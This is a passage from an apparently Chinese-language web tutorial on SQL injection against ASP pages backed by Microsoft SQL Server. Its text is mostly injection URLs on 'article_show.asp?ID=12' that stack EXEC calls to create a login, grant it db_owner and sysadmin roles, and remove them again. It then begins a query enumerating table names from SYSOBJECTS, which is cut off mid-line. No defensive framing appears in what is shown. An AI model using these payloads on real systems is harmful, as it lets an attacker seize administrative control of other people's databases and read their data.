|
article_show.asp?ID=12;EXEC sp_addlogin ''''uname'''',''''pwd''''--
将该登录添加为db_owner角色：
article_show.asp?ID=12;EXEC sp_adduser ''''uname'''',''''登录名'''',''''db_owner''''--
将该登录添加为sysadmin固定服务器角色：
article_show.asp?ID=12;EXEC sp_addsrvrolemember ''''uname'''',''''sysadmin''''--
相反操作：
将该登录从sysadmin固定服务器角色中删除：
article_show.asp?ID=12;EXEC sp_dropsrvrolemember ''''uname'''',''''sysadmin''''--
将该登录从db_owner角色中删除：
article_show.asp?ID=12;EXEC sp_dropuser ''''uname''''
删除该登录：
article_show.asp?ID=12;EXEC sp_droplogin ''''uname''''
以上操作一般服务器会出现下面的出信息或者正常显示ID=12的网页：
错误 ''''80020009''''
发生意外。
五、普通权限用户可进行的操作：
普通用户不能使用第四节中列出的命令，但仍可读出数据库中所有的数据。
使用下面的语句列出数据库中第一个表的名称：
article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=''''U'''' AND STATUS>0 A 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页 | 
注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网] 